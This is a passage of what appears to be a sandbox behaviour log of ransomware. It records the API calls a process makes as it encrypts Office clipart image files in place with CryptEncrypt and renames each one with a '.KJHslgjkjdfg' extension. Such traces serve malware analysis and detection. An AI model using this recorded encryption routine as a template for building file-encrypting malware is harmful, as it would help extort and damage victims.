nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.279] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.280] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.280] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.280] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.280] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.280] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.280] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x98ec, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x98ec, lpOverlapped=0x0) returned 1 [0214.282] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x98f0, dwBufLen=0x98f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x98f0) returned 1 [0214.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.282] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x98f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x98f0, lpOverlapped=0x0) returned 1 [0214.283] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x99c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.283] SetEndOfFile (hFile=0x130) returned 1 [0214.286] GetProcessHeap () returned 0x2ef0000 [0214.286] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.286] GetProcessHeap () returned 0x2ef0000 [0214.286] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.286] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg.kjhslgjkjdfg")) returned 1 [0214.287] CloseHandle (hObject=0x130) returned 1 [0214.287] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7df3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0387895.JPG", cAlternateFileName="")) returned 1 [0214.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.289] GetProcessHeap () returned 0x2ef0000 [0214.289] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.289] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.289] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0214.291] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.291] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.291] GetProcessHeap () returned 0x2ef0000 [0214.291] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.291] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.291] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.291] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.292] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.292] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.292] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.292] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.292] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.292] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.292] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.292] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.292] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7df3, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7df3, lpOverlapped=0x0) returned 1 [0214.293] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7e00, dwBufLen=0x7e00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7e00) returned 1 [0214.294] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.294] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7e00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7e00, lpOverlapped=0x0) returned 1 [0214.294] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.294] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.294] SetEndOfFile (hFile=0x130) returned 1 [0214.296] GetProcessHeap () returned 0x2ef0000 [0214.296] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.296] GetProcessHeap () returned 0x2ef0000 [0214.296] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.296] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg.kjhslgjkjdfg")) returned 1 [0214.298] CloseHandle (hObject=0x130) returned 1 [0214.298] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59a43300, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59a43300, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x351c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0390072.JPG", cAlternateFileName="")) returned 1 [0214.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.299] GetProcessHeap () returned 0x2ef0000 [0214.299] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.299] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.299] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.302] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.302] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.302] GetProcessHeap () returned 0x2ef0000 [0214.302] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.302] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.302] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.302] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.302] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.302] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.302] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.302] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.302] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.302] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.303] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x351c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x351c, lpOverlapped=0x0) returned 1 [0214.304] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3520, dwBufLen=0x3520 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3520) returned 1 [0214.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.304] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3520, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3520, lpOverlapped=0x0) returned 1 [0214.304] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x35f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.304] SetEndOfFile (hFile=0x130) returned 1 [0214.307] GetProcessHeap () returned 0x2ef0000 [0214.307] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.307] GetProcessHeap () returned 0x2ef0000 [0214.307] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.307] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg.kjhslgjkjdfg")) returned 1 [0214.309] CloseHandle (hObject=0x130) returned 1 [0214.309] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55f55f00, ftCreationTime.dwHighDateTime=0x1c98cd0, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55f55f00, ftLastWriteTime.dwHighDateTime=0x1c98cd0, nFileSizeHigh=0x0, nFileSizeLow=0x31883, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0400001.PNG", cAlternateFileName="")) returned 1 [0214.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.310] GetProcessHeap () returned 0x2ef0000 [0214.310] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.310] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.311] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0214.313] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.313] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.313] GetProcessHeap () returned 0x2ef0000 [0214.313] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.313] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.313] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.313] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.313] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.313] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.313] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.314] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.314] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.314] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.314] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.314] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.314] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x31883, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x31883, lpOverlapped=0x0) returned 1 [0214.317] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x31890, dwBufLen=0x31890 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x31890) returned 1 [0214.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.319] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x31890, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x31890, lpOverlapped=0x0) returned 1 [0214.320] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.320] SetEndOfFile (hFile=0x130) returned 1 [0214.324] GetProcessHeap () returned 0x2ef0000 [0214.324] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.324] GetProcessHeap () returned 0x2ef0000 [0214.324] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png.kjhslgjkjdfg")) returned 1 [0214.326] CloseHandle (hObject=0x130) returned 1 [0214.326] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea13f600, ftCreationTime.dwHighDateTime=0x1c98cd1, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea13f600, ftLastWriteTime.dwHighDateTime=0x1c98cd1, nFileSizeHigh=0x0, nFileSizeLow=0x15d49, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0400002.PNG", cAlternateFileName="")) returned 1 [0214.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.327] GetProcessHeap () returned 0x2ef0000 [0214.327] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.327] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.327] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x7, lpOverlapped=0x0) returned 1 [0214.329] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.329] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.329] GetProcessHeap () returned 0x2ef0000 [0214.329] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.329] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.330] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.330] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.330] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.330] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.330] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.330] SetFilePointerEx (in: hFile=0x130, 